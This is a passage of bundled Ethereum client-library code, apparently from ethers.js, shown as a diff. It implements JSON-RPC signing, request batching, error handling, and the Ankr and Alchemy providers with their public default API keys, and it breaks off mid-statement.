https://playground.open-rpc.org/?schemaUrl=https://raw.githubusercontent.com/ethereum/eth1.0-apis/assembled-spec/openrpc.json&uiSchema%5BappBar%5D%5Bui:splitView%5D=true&uiSchema%5BappBar%5D%5Bui:input%5D=false&uiSchema%5BappBar%5D%5Bui:examplesDropdown%5D=false +const Primitive = "bigint,boolean,function,number,string,symbol".split(/,/g); +//const Methods = "getAddress,then".split(/,/g); +function deepCopy(value) { + if (value == null || Primitive.indexOf(typeof (value)) >= 0) { + return value; + } + // Keep any Addressable + if (typeof (value.getAddress) === "function") { + return value; + } + if (Array.isArray(value)) { + return (value.map(deepCopy)); + } + if (typeof (value) === "object") { + return Object.keys(value).reduce((accum, key) => { + accum[key] = value[key]; + return accum; + }, {}); + } + throw new Error(`should not happen: ${value} (${typeof (value)})`); +} +function stall$3(duration) { + return new Promise((resolve) => { setTimeout(resolve, duration); }); +} +function getLowerCase(value) { + if (value) { + return value.toLowerCase(); + } + return value; +} +function isPollable(value) { + return (value && typeof (value.pollingInterval) === "number"); +} +const defaultOptions = { + polling: false, + staticNetwork: null, + batchStallTime: 10, + batchMaxSize: (1 << 20), + batchMaxCount: 100, + cacheTimeout: 250, + pollingInterval: 4000 +}; +// @TODO: Unchecked Signers +class JsonRpcSigner extends AbstractSigner { + address; + constructor(provider, address) { + super(provider); + address = getAddress(address); + defineProperties(this, { address }); + } + connect(provider) { + assert(false, "cannot reconnect JsonRpcSigner", "UNSUPPORTED_OPERATION", { + operation: "signer.connect" + }); + } + async getAddress() { + return this.address; + } + // JSON-RPC will automatially fill in nonce, etc. so we just check from + async populateTransaction(tx) { + return await this.populateCall(tx); + } + // Returns just the hash of the transaction after sent, which is what + // the bare JSON-RPC API does; + async sendUncheckedTransaction(_tx) { + const tx = deepCopy(_tx); + const promises = []; + // Make sure the from matches the sender + if (tx.from) { + const _from = tx.from; + promises.push((async () => { + const from = await resolveAddress(_from, this.provider); + assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), "from address mismatch", "transaction", _tx); + tx.from = from; + })()); + } + else { + tx.from = this.address; + } + // The JSON-RPC for eth_sendTransaction uses 90000 gas; if the user + // wishes to use this, it is easy to specify explicitly, otherwise + // we look it up for them. + if (tx.gasLimit == null) { + promises.push((async () => { + tx.gasLimit = await this.provider.estimateGas({ ...tx, from: this.address }); + })()); + } + // The address may be an ENS name or Addressable + if (tx.to != null) { + const _to = tx.to; + promises.push((async () => { + tx.to = await resolveAddress(_to, this.provider); + })()); + } + // Wait until all of our properties are filled in + if (promises.length) { + await Promise.all(promises); + } + const hexTx = this.provider.getRpcTransaction(tx); + return this.provider.send("eth_sendTransaction", [hexTx]); + } + async sendTransaction(tx) { + // This cannot be mined any earlier than any recent block + const blockNumber = await this.provider.getBlockNumber(); + // Send the transaction + const hash = await this.sendUncheckedTransaction(tx); + // Unfortunately, JSON-RPC only provides and opaque transaction hash + // for a response, and we need the actual transaction, so we poll + // for it; it should show up very quickly + return await (new Promise((resolve, reject) => { + const timeouts = [1000, 100]; + let invalids = 0; + const checkTx = async () => { + try { + // Try getting the transaction + const tx = await this.provider.getTransaction(hash); + if (tx != null) { + resolve(tx.replaceableTransaction(blockNumber)); + return; + } + } + catch (error) { + // If we were cancelled: stop polling. + // If the data is bad: the node returns bad transactions + // If the network changed: calling again will also fail + // If unsupported: likely destroyed + if (isError(error, "CANCELLED") || isError(error, "BAD_DATA") || + isError(error, "NETWORK_ERROR") || isError(error, "UNSUPPORTED_OPERATION")) { + if (error.info == null) { + error.info = {}; + } + error.info.sendTransactionHash = hash; + reject(error); + return; + } + // Stop-gap for misbehaving backends; see #4513 + if (isError(error, "INVALID_ARGUMENT")) { + invalids++; + if (error.info == null) { + error.info = {}; + } + error.info.sendTransactionHash = hash; + if (invalids > 10) { + reject(error); + return; + } + } + // Notify anyone that cares; but we will try again, since + // it is likely an intermittent service error + this.provider.emit("error", makeError("failed to fetch transation after sending (will try again)", "UNKNOWN_ERROR", { error })); + } + // Wait another 4 seconds + this.provider._setTimeout(() => { checkTx(); }, timeouts.pop() || 4000); + }; + checkTx(); + })); + } + async signTransaction(_tx) { + const tx = deepCopy(_tx); + // Make sure the from matches the sender + if (tx.from) { + const from = await resolveAddress(tx.from, this.provider); + assertArgument(from != null && from.toLowerCase() === this.address.toLowerCase(), "from address mismatch", "transaction", _tx); + tx.from = from; + } + else { + tx.from = this.address; + } + const hexTx = this.provider.getRpcTransaction(tx); + return await this.provider.send("eth_signTransaction", [hexTx]); + } + async signMessage(_message) { + const message = ((typeof (_message) === "string") ? toUtf8Bytes(_message) : _message); + return await this.provider.send("personal_sign", [ + hexlify(message), this.address.toLowerCase() + ]); + } + async signTypedData(domain, types, _value) { + const value = deepCopy(_value); + // Populate any ENS names (in-place) + const populated = await TypedDataEncoder.resolveNames(domain, types, value, async (value) => { + const address = await resolveAddress(value); + assertArgument(address != null, "TypedData does not support null address", "value", value); + return address; + }); + return await this.provider.send("eth_signTypedData_v4", [ + this.address.toLowerCase(), + JSON.stringify(TypedDataEncoder.getPayload(populated.domain, types, populated.value)) + ]); + } + async unlock(password) { + return this.provider.send("personal_unlockAccount", [ + this.address.toLowerCase(), password, null + ]); + } + // https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign + async _legacySignMessage(_message) { + const message = ((typeof (_message) === "string") ? toUtf8Bytes(_message) : _message); + return await this.provider.send("eth_sign", [ + this.address.toLowerCase(), hexlify(message) + ]); + } +} +/** + * The JsonRpcApiProvider is an abstract class and **MUST** be + * sub-classed. + * + * It provides the base for all JSON-RPC-based Provider interaction. + * + * Sub-classing Notes: + * - a sub-class MUST override _send + * - a sub-class MUST call the `_start()` method once connected + */ +class JsonRpcApiProvider extends AbstractProvider { + #options; + // The next ID to use for the JSON-RPC ID field + #nextId; + // Payloads are queued and triggered in batches using the drainTimer + #payloads; + #drainTimer; + #notReady; + #network; + #pendingDetectNetwork; + #scheduleDrain() { + if (this.#drainTimer) { + return; + } + // If we aren't using batching, no harm in sending it immediately + const stallTime = (this._getOption("batchMaxCount") === 1) ? 0 : this._getOption("batchStallTime"); + this.#drainTimer = setTimeout(() => { + this.#drainTimer = null; + const payloads = this.#payloads; + this.#payloads = []; + while (payloads.length) { + // Create payload batches that satisfy our batch constraints + const batch = [(payloads.shift())]; + while (payloads.length) { + if (batch.length === this.#options.batchMaxCount) { + break; + } + batch.push((payloads.shift())); + const bytes = JSON.stringify(batch.map((p) => p.payload)); + if (bytes.length > this.#options.batchMaxSize) { + payloads.unshift((batch.pop())); + break; + } + } + // Process the result to each payload + (async () => { + const payload = ((batch.length === 1) ? batch[0].payload : batch.map((p) => p.payload)); + this.emit("debug", { action: "sendRpcPayload", payload }); + try { + const result = await this._send(payload); + this.emit("debug", { action: "receiveRpcResult", result }); + // Process results in batch order + for (const { resolve, reject, payload } of batch) { + if (this.destroyed) { + reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: payload.method })); + continue; + } + // Find the matching result + const resp = result.filter((r) => (r.id === payload.id))[0]; + // No result; the node failed us in unexpected ways + if (resp == null) { + const error = makeError("missing response for request", "BAD_DATA", { + value: result, info: { payload } + }); + this.emit("error", error); + reject(error); + continue; + } + // The response is an error + if ("error" in resp) { + reject(this.getRpcError(payload, resp)); + continue; + } + // All good; send the result + resolve(resp.result); + } + } + catch (error) { + this.emit("debug", { action: "receiveRpcError", error }); + for (const { reject } of batch) { + // @TODO: augment the error with the payload + reject(error); + } + } + })(); + } + }, stallTime); + } + constructor(network, options) { + super(network, options); + this.#nextId = 1; + this.#options = Object.assign({}, defaultOptions, options || {}); + this.#payloads = []; + this.#drainTimer = null; + this.#network = null; + this.#pendingDetectNetwork = null; + { + let resolve = null; + const promise = new Promise((_resolve) => { + resolve = _resolve; + }); + this.#notReady = { promise, resolve }; + } + const staticNetwork = this._getOption("staticNetwork"); + if (typeof (staticNetwork) === "boolean") { + assertArgument(!staticNetwork || network !== "any", "staticNetwork cannot be used on special network 'any'", "options", options); + if (staticNetwork && network != null) { + this.#network = Network.from(network); + } + } + else if (staticNetwork) { + // Make sure any static network is compatbile with the provided netwrok + assertArgument(network == null || staticNetwork.matches(network), "staticNetwork MUST match network object", "options", options); + this.#network = staticNetwork; + } + } + /** + * Returns the value associated with the option %%key%%. + * + * Sub-classes can use this to inquire about configuration options. + */ + _getOption(key) { + return this.#options[key]; + } + /** + * Gets the [[Network]] this provider has committed to. On each call, the network + * is detected, and if it has changed, the call will reject. + */ + get _network() { + assert(this.#network, "network is not available yet", "NETWORK_ERROR"); + return this.#network; + } + /** + * Resolves to the non-normalized value by performing %%req%%. + * + * Sub-classes may override this to modify behavior of actions, + * and should generally call ``super._perform`` as a fallback. + */ + async _perform(req) { + // Legacy networks do not like the type field being passed along (which + // is fair), so we delete type if it is 0 and a non-EIP-1559 network + if (req.method === "call" || req.method === "estimateGas") { + let tx = req.transaction; + if (tx && tx.type != null && getBigInt(tx.type)) { + // If there are no EIP-1559 or newer properties, it might be pre-EIP-1559 + if (tx.maxFeePerGas == null && tx.maxPriorityFeePerGas == null) { + const feeData = await this.getFeeData(); + if (feeData.maxFeePerGas == null && feeData.maxPriorityFeePerGas == null) { + // Network doesn't know about EIP-1559 (and hence type) + req = Object.assign({}, req, { + transaction: Object.assign({}, tx, { type: undefined }) + }); + } + } + } + } + const request = this.getRpcRequest(req); + if (request != null) { + return await this.send(request.method, request.args); + } + return super._perform(req); + } + /** + * Sub-classes may override this; it detects the *actual* network that + * we are **currently** connected to. + * + * Keep in mind that [[send]] may only be used once [[ready]], otherwise the + * _send primitive must be used instead. + */ + async _detectNetwork() { + const network = this._getOption("staticNetwork"); + if (network) { + if (network === true) { + if (this.#network) { + return this.#network; + } + } + else { + return network; + } + } + if (this.#pendingDetectNetwork) { + return await this.#pendingDetectNetwork; + } + // If we are ready, use ``send``, which enabled requests to be batched + if (this.ready) { + this.#pendingDetectNetwork = (async () => { + try { + const result = Network.from(getBigInt(await this.send("eth_chainId", []))); + this.#pendingDetectNetwork = null; + return result; + } + catch (error) { + this.#pendingDetectNetwork = null; + throw error; + } + })(); + return await this.#pendingDetectNetwork; + } + // We are not ready yet; use the primitive _send + this.#pendingDetectNetwork = (async () => { + const payload = { + id: this.#nextId++, method: "eth_chainId", params: [], jsonrpc: "2.0" + }; + this.emit("debug", { action: "sendRpcPayload", payload }); + let result; + try { + result = (await this._send(payload))[0]; + this.#pendingDetectNetwork = null; + } + catch (error) { + this.#pendingDetectNetwork = null; + this.emit("debug", { action: "receiveRpcError", error }); + throw error; + } + this.emit("debug", { action: "receiveRpcResult", result }); + if ("result" in result) { + return Network.from(getBigInt(result.result)); + } + throw this.getRpcError(payload, result); + })(); + return await this.#pendingDetectNetwork; + } + /** + * Sub-classes **MUST** call this. Until [[_start]] has been called, no calls + * will be passed to [[_send]] from [[send]]. If it is overridden, then + * ``super._start()`` **MUST** be called. + * + * Calling it multiple times is safe and has no effect. + */ + _start() { + if (this.#notReady == null || this.#notReady.resolve == null) { + return; + } + this.#notReady.resolve(); + this.#notReady = null; + (async () => { + // Bootstrap the network + while (this.#network == null && !this.destroyed) { + try { + this.#network = await this._detectNetwork(); + } + catch (error) { + if (this.destroyed) { + break; + } + console.log("JsonRpcProvider failed to detect network and cannot start up; retry in 1s (perhaps the URL is wrong or the node is not started)"); + this.emit("error", makeError("failed to bootstrap network detection", "NETWORK_ERROR", { event: "initial-network-discovery", info: { error } })); + await stall$3(1000); + } + } + // Start dispatching requests + this.#scheduleDrain(); + })(); + } + /** + * Resolves once the [[_start]] has been called. This can be used in + * sub-classes to defer sending data until the connection has been + * established. + */ + async _waitUntilReady() { + if (this.#notReady == null) { + return; + } + return await this.#notReady.promise; + } + /** + * Return a Subscriber that will manage the %%sub%%. + * + * Sub-classes may override this to modify the behavior of + * subscription management. + */ + _getSubscriber(sub) { + // Pending Filters aren't availble via polling + if (sub.type === "pending") { + return new FilterIdPendingSubscriber(this); + } + if (sub.type === "event") { + if (this._getOption("polling")) { + return new PollingEventSubscriber(this, sub.filter); + } + return new FilterIdEventSubscriber(this, sub.filter); + } + // Orphaned Logs are handled automatically, by the filter, since + // logs with removed are emitted by it + if (sub.type === "orphan" && sub.filter.orphan === "drop-log") { + return new UnmanagedSubscriber("orphan"); + } + return super._getSubscriber(sub); + } + /** + * Returns true only if the [[_start]] has been called. + */ + get ready() { return this.#notReady == null; } + /** + * Returns %%tx%% as a normalized JSON-RPC transaction request, + * which has all values hexlified and any numeric values converted + * to Quantity values. + */ + getRpcTransaction(tx) { + const result = {}; + // JSON-RPC now requires numeric values to be "quantity" values + ["chainId", "gasLimit", "gasPrice", "type", "maxFeePerGas", "maxPriorityFeePerGas", "nonce", "value"].forEach((key) => { + if (tx[key] == null) { + return; + } + let dstKey = key; + if (key === "gasLimit") { + dstKey = "gas"; + } + result[dstKey] = toQuantity(getBigInt(tx[key], `tx.${key}`)); + }); + // Make sure addresses and data are lowercase + ["from", "to", "data"].forEach((key) => { + if (tx[key] == null) { + return; + } + result[key] = hexlify(tx[key]); + }); + // Normalize the access list object + if (tx.accessList) { + result["accessList"] = accessListify(tx.accessList); + } + if (tx.blobVersionedHashes) { + // @TODO: Remove this case once EIP-4844 added to prepared tx + result["blobVersionedHashes"] = tx.blobVersionedHashes.map(h => h.toLowerCase()); + } + if (tx.authorizationList) { + result["authorizationList"] = tx.authorizationList.map((_a) => { + const a = authorizationify(_a); + return { + address: a.address, + nonce: toQuantity(a.nonce), + chainId: toQuantity(a.chainId), + yParity: toQuantity(a.signature.yParity), + r: toQuantity(a.signature.r), + s: toQuantity(a.signature.s), + }; + }); + } + // @TODO: blobs should probably also be copied over, optionally + // accounting for the kzg property to backfill blobVersionedHashes + // using the commitment. Or should that be left as an exercise to + // the caller? + return result; + } + /** + * Returns the request method and arguments required to perform + * %%req%%. + */ + getRpcRequest(req) { + switch (req.method) { + case "chainId": + return { method: "eth_chainId", args: [] }; + case "getBlockNumber": + return { method: "eth_blockNumber", args: [] }; + case "getGasPrice": + return { method: "eth_gasPrice", args: [] }; + case "getPriorityFee": + return { method: "eth_maxPriorityFeePerGas", args: [] }; + case "getBalance": + return { + method: "eth_getBalance", + args: [getLowerCase(req.address), req.blockTag] + }; + case "getTransactionCount": + return { + method: "eth_getTransactionCount", + args: [getLowerCase(req.address), req.blockTag] + }; + case "getCode": + return { + method: "eth_getCode", + args: [getLowerCase(req.address), req.blockTag] + }; + case "getStorage": + return { + method: "eth_getStorageAt", + args: [ + getLowerCase(req.address), + ("0x" + req.position.toString(16)), + req.blockTag + ] + }; + case "broadcastTransaction": + return { + method: "eth_sendRawTransaction", + args: [req.signedTransaction] + }; + case "getBlock": + if ("blockTag" in req) { + return { + method: "eth_getBlockByNumber", + args: [req.blockTag, !!req.includeTransactions] + }; + } + else if ("blockHash" in req) { + return { + method: "eth_getBlockByHash", + args: [req.blockHash, !!req.includeTransactions] + }; + } + break; + case "getTransaction": + return { + method: "eth_getTransactionByHash", + args: [req.hash] + }; + case "getTransactionReceipt": + return { + method: "eth_getTransactionReceipt", + args: [req.hash] + }; + case "call": + return { + method: "eth_call", + args: [this.getRpcTransaction(req.transaction), req.blockTag] + }; + case "estimateGas": { + return { + method: "eth_estimateGas", + args: [this.getRpcTransaction(req.transaction)] + }; + } + case "getLogs": + if (req.filter && req.filter.address != null) { + if (Array.isArray(req.filter.address)) { + req.filter.address = req.filter.address.map(getLowerCase); + } + else { + req.filter.address = getLowerCase(req.filter.address); + } + } + return { method: "eth_getLogs", args: [req.filter] }; + } + return null; + } + /** + * Returns an ethers-style Error for the given JSON-RPC error + * %%payload%%, coalescing the various strings and error shapes + * that different nodes return, coercing them into a machine-readable + * standardized error. + */ + getRpcError(payload, _error) { + const { method } = payload; + const { error } = _error; + if (method === "eth_estimateGas" && error.message) { + const msg = error.message; + if (!msg.match(/revert/i) && msg.match(/insufficient funds/i)) { + return makeError("insufficient funds", "INSUFFICIENT_FUNDS", { + transaction: (payload.params[0]), + info: { payload, error } + }); + } + else if (msg.match(/nonce/i) && msg.match(/too low/i)) { + return makeError("nonce has already been used", "NONCE_EXPIRED", { + transaction: (payload.params[0]), + info: { payload, error } + }); + } + } + if (method === "eth_call" || method === "eth_estimateGas") { + const result = spelunkData(error); + const e = AbiCoder.getBuiltinCallException((method === "eth_call") ? "call" : "estimateGas", (payload.params[0]), (result ? result.data : null)); + e.info = { error, payload }; + return e; + } + // Only estimateGas and call can return arbitrary contract-defined text, so now we + // we can process text safely. + const message = JSON.stringify(spelunkMessage(error)); + if (typeof (error.message) === "string" && error.message.match(/user denied|ethers-user-denied/i)) { + const actionMap = { + eth_sign: "signMessage", + personal_sign: "signMessage", + eth_signTypedData_v4: "signTypedData", + eth_signTransaction: "signTransaction", + eth_sendTransaction: "sendTransaction", + eth_requestAccounts: "requestAccess", + wallet_requestAccounts: "requestAccess", + }; + return makeError(`user rejected action`, "ACTION_REJECTED", { + action: (actionMap[method] || "unknown"), + reason: "rejected", + info: { payload, error } + }); + } + if (method === "eth_sendRawTransaction" || method === "eth_sendTransaction") { + const transaction = (payload.params[0]); + if (message.match(/insufficient funds|base fee exceeds gas limit/i)) { + return makeError("insufficient funds for intrinsic transaction cost", "INSUFFICIENT_FUNDS", { + transaction, info: { error } + }); + } + if (message.match(/nonce/i) && message.match(/too low/i)) { + return makeError("nonce has already been used", "NONCE_EXPIRED", { transaction, info: { error } }); + } + // "replacement transaction underpriced" + if (message.match(/replacement transaction/i) && message.match(/underpriced/i)) { + return makeError("replacement fee too low", "REPLACEMENT_UNDERPRICED", { transaction, info: { error } }); + } + if (message.match(/only replay-protected/i)) { + return makeError("legacy pre-eip-155 transactions not supported", "UNSUPPORTED_OPERATION", { + operation: method, info: { transaction, info: { error } } + }); + } + } + let unsupported = !!message.match(/the method .* does not exist/i); + if (!unsupported) { + if (error && error.details && error.details.startsWith("Unauthorized method:")) { + unsupported = true; + } + } + if (unsupported) { + return makeError("unsupported operation", "UNSUPPORTED_OPERATION", { + operation: payload.method, info: { error, payload } + }); + } + return makeError("could not coalesce error", "UNKNOWN_ERROR", { error, payload }); + } + /** + * Requests the %%method%% with %%params%% via the JSON-RPC protocol + * over the underlying channel. This can be used to call methods + * on the backend that do not have a high-level API within the Provider + * API. + * + * This method queues requests according to the batch constraints + * in the options, assigns the request a unique ID. + * + * **Do NOT override** this method in sub-classes; instead + * override [[_send]] or force the options values in the + * call to the constructor to modify this method's behavior. + */ + send(method, params) { + // @TODO: cache chainId?? purge on switch_networks + // We have been destroyed; no operations are supported anymore + if (this.destroyed) { + return Promise.reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: method })); + } + const id = this.#nextId++; + const promise = new Promise((resolve, reject) => { + this.#payloads.push({ + resolve, reject, + payload: { method, params, id, jsonrpc: "2.0" } + }); + }); + // If there is not a pending drainTimer, set one + this.#scheduleDrain(); + return promise; + } + /** + * Resolves to the [[Signer]] account for %%address%% managed by + * the client. + * + * If the %%address%% is a number, it is used as an index in the + * the accounts from [[listAccounts]]. + * + * This can only be used on clients which manage accounts (such as + * Geth with imported account or MetaMask). + * + * Throws if the account doesn't exist. + */ + async getSigner(address) { + if (address == null) { + address = 0; + } + const accountsPromise = this.send("eth_accounts", []); + // Account index + if (typeof (address) === "number") { + const accounts = (await accountsPromise); + if (address >= accounts.length) { + throw new Error("no such account"); + } + return new JsonRpcSigner(this, accounts[address]); + } + const { accounts } = await resolveProperties({ + network: this.getNetwork(), + accounts: accountsPromise + }); + // Account address + address = getAddress(address); + for (const account of accounts) { + if (getAddress(account) === address) { + return new JsonRpcSigner(this, address); + } + } + throw new Error("invalid account"); + } + async listAccounts() { + const accounts = await this.send("eth_accounts", []); + return accounts.map((a) => new JsonRpcSigner(this, a)); + } + destroy() { + // Stop processing requests + if (this.#drainTimer) { + clearTimeout(this.#drainTimer); + this.#drainTimer = null; + } + // Cancel all pending requests + for (const { payload, reject } of this.#payloads) { + reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: payload.method })); + } + this.#payloads = []; + // Parent clean-up + super.destroy(); + } +} +// @TODO: remove this in v7, it is not exported because this functionality +// is exposed in the JsonRpcApiProvider by setting polling to true. It should +// be safe to remove regardless, because it isn't reachable, but just in case. +/** + * @_ignore: + */ +class JsonRpcApiPollingProvider extends JsonRpcApiProvider { + #pollingInterval; + constructor(network, options) { + super(network, options); + let pollingInterval = this._getOption("pollingInterval"); + if (pollingInterval == null) { + pollingInterval = defaultOptions.pollingInterval; + } + this.#pollingInterval = pollingInterval; + } + _getSubscriber(sub) { + const subscriber = super._getSubscriber(sub); + if (isPollable(subscriber)) { + subscriber.pollingInterval = this.#pollingInterval; + } + return subscriber; + } + /** + * The polling interval (default: 4000 ms) + */ + get pollingInterval() { return this.#pollingInterval; } + set pollingInterval(value) { + if (!Number.isInteger(value) || value < 0) { + throw new Error("invalid interval"); + } + this.#pollingInterval = value; + this._forEachSubscriber((sub) => { + if (isPollable(sub)) { + sub.pollingInterval = this.#pollingInterval; + } + }); + } +} +/** + * The JsonRpcProvider is one of the most common Providers, + * which performs all operations over HTTP (or HTTPS) requests. + * + * Events are processed by polling the backend for the current block + * number; when it advances, all block-base events are then checked + * for updates. + */ +class JsonRpcProvider extends JsonRpcApiPollingProvider { + #connect; + constructor(url, network, options) { + if (url == null) { + url = "http:/\/localhost:8545"; + } + super(network, options); + if (typeof (url) === "string") { + this.#connect = new FetchRequest(url); + } + else { + this.#connect = url.clone(); + } + } + _getConnection() { + return this.#connect.clone(); + } + async send(method, params) { + // All requests are over HTTP, so we can just start handling requests + // We do this here rather than the constructor so that we don't send any + // requests to the network (i.e. eth_chainId) until we absolutely have to. + await this._start(); + return await super.send(method, params); + } + async _send(payload) { + // Configure a POST connection for the requested method + const request = this._getConnection(); + request.body = JSON.stringify(payload); + request.setHeader("content-type", "application/json"); + const response = await request.send(); + response.assertOk(); + let resp = response.bodyJson; + if (!Array.isArray(resp)) { + resp = [resp]; + } + return resp; + } +} +function spelunkData(value) { + if (value == null) { + return null; + } + // These *are* the droids we're looking for. + if (typeof (value.message) === "string" && value.message.match(/revert/i) && isHexString(value.data)) { + return { message: value.message, data: value.data }; + } + // Spelunk further... + if (typeof (value) === "object") { + for (const key in value) { + const result = spelunkData(value[key]); + if (result) { + return result; + } + } + return null; + } + // Might be a JSON string we can further descend... + if (typeof (value) === "string") { + try { + return spelunkData(JSON.parse(value)); + } + catch (error) { } + } + return null; +} +function _spelunkMessage(value, result) { + if (value == null) { + return; + } + // These *are* the droids we're looking for. + if (typeof (value.message) === "string") { + result.push(value.message); + } + // Spelunk further... + if (typeof (value) === "object") { + for (const key in value) { + _spelunkMessage(value[key], result); + } + } + // Might be a JSON string we can further descend... + if (typeof (value) === "string") { + try { + return _spelunkMessage(JSON.parse(value), result); + } + catch (error) { } + } +} +function spelunkMessage(value) { + const result = []; + _spelunkMessage(value, result); + return result; +} + +/** + * [[link-ankr]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB (``bnb``) + * - BNB Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Ankr [providers-ankr] + */ +const defaultApiKey$1 = "9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972"; +function getHost$5(name) { + switch (name) { + case "mainnet": + return "rpc.ankr.com/eth"; + case "goerli": + return "rpc.ankr.com/eth_goerli"; + case "sepolia": + return "rpc.ankr.com/eth_sepolia"; + case "arbitrum": + return "rpc.ankr.com/arbitrum"; + case "base": + return "rpc.ankr.com/base"; + case "base-goerli": + return "rpc.ankr.com/base_goerli"; + case "base-sepolia": + return "rpc.ankr.com/base_sepolia"; + case "bnb": + return "rpc.ankr.com/bsc"; + case "bnbt": + return "rpc.ankr.com/bsc_testnet_chapel"; + case "matic": + return "rpc.ankr.com/polygon"; + case "matic-mumbai": + return "rpc.ankr.com/polygon_mumbai"; + case "optimism": + return "rpc.ankr.com/optimism"; + case "optimism-goerli": + return "rpc.ankr.com/optimism_testnet"; + case "optimism-sepolia": + return "rpc.ankr.com/optimism_sepolia"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **AnkrProvider** connects to the [[link-ankr]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-ankr-signup). + */ +class AnkrProvider extends JsonRpcProvider { + /** + * The API key for the Ankr connection. + */ + apiKey; + /** + * Create a new **AnkrProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = defaultApiKey$1; + } + // Ankr does not support filterId, so we force polling + const options = { polling: true, staticNetwork: network }; + const request = AnkrProvider.getRequest(network, apiKey); + super(request, network, options); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new AnkrProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + /** + * Returns a prepared request for connecting to %%network%% with + * %%apiKey%%. + */ + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = defaultApiKey$1; + } + const request = new FetchRequest(`https:/\/${getHost$5(network.name)}/${apiKey}`); + request.allowGzip = true; + if (apiKey === defaultApiKey$1) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("AnkrProvider"); + return true; + }; + } + return request; + } + getRpcError(payload, error) { + if (payload.method === "eth_sendRawTransaction") { + if (error && error.error && error.error.message === "INTERNAL_ERROR: could not replace existing tx") { + error.error.message = "replacement transaction underpriced"; + } + } + return super.getRpcError(payload, error); + } + isCommunityResource() { + return (this.apiKey === defaultApiKey$1); + } +} + +/** + * [[link-alchemy]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Alchemy [providers-alchemy] + */ +const defaultApiKey = "_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC"; +function getHost$4(name) { + switch (name) { + case "mainnet": + return "eth-mainnet.alchemyapi.io"; + case "goerli": + return "eth-goerli.g.alchemy.com"; + case "sepolia": + return "eth-sepolia.g.alchemy.com"; + case "arbitrum": + return "arb-mainnet.g.alchemy.com"; + case "arbitrum-goerli": + return "arb-goerli.g.alchemy.com"; + case "arbitrum-sepolia": + return "arb-sepolia.g.alchemy.com"; + case "base": + return "base-mainnet.g.alchemy.com"; + case "base-goerli": + return "base-goerli.g.alchemy.com"; + case "base-sepolia": + return "base-sepolia.g.alchemy.com"; + case "matic": + return "polygon-mainnet.g.alchemy.com"; + case "matic-amoy": + return "polygon-amoy.g.alchemy.com"; + case "matic-mumbai": + return "polygon-mumbai.g.alchemy.com"; + case "optimism": + return "opt-mainnet.g.alchemy.com"; + case "optimism-goerli": + return "opt-goerli.g.alchemy.com"; + case "optimism-sepolia": + return "opt-sepolia.g.alchemy.com"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **AlchemyProvider** connects to the [[link-alchemy]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-alchemy-signup). + * + * @_docloc: api/providers/thirdparty + */ +class AlchemyProvider extends JsonRpcProvider { + apiKey; + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = defaultApiKey; + } + const request = AlchemyProvider.getRequest(network, apiKey); + super(request, network, { staticNetwork: network }); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new AlchemyProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + async _perform(req) { + // https://docs.alchemy.com/reference/trace-transaction + if (req.method === "getTransactionResult") { + const { trace, tx } = await resolveProperties({ + trace: this.send("trace_transaction", [req.hash]), + tx: this.getTransaction(req.hash) + }); + if (trace == null || tx == null) { + return null; + } + let data; + let error = false; + try { + data = trace[0].result.output; + error = (trace[0].error === "Reverted"); + } + catch (error) { } + if (data) { + assert(!error, "an error occurred during transaction executions", "CALL_EXCEPTION", { + action: "getTransactionResult", + data, + reason: null, + transaction: tx, + invocation: null, + revert: null // @TODO + }); + return data; + } + assert(false, "could not parse trace result", "BAD_DATA", { value: trace }); + } + return await super._perform(req); + } + isCommunityResource() { + return (this.apiKey === defaultApiKey); + } + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = defaultApiKey; + } + const request = new 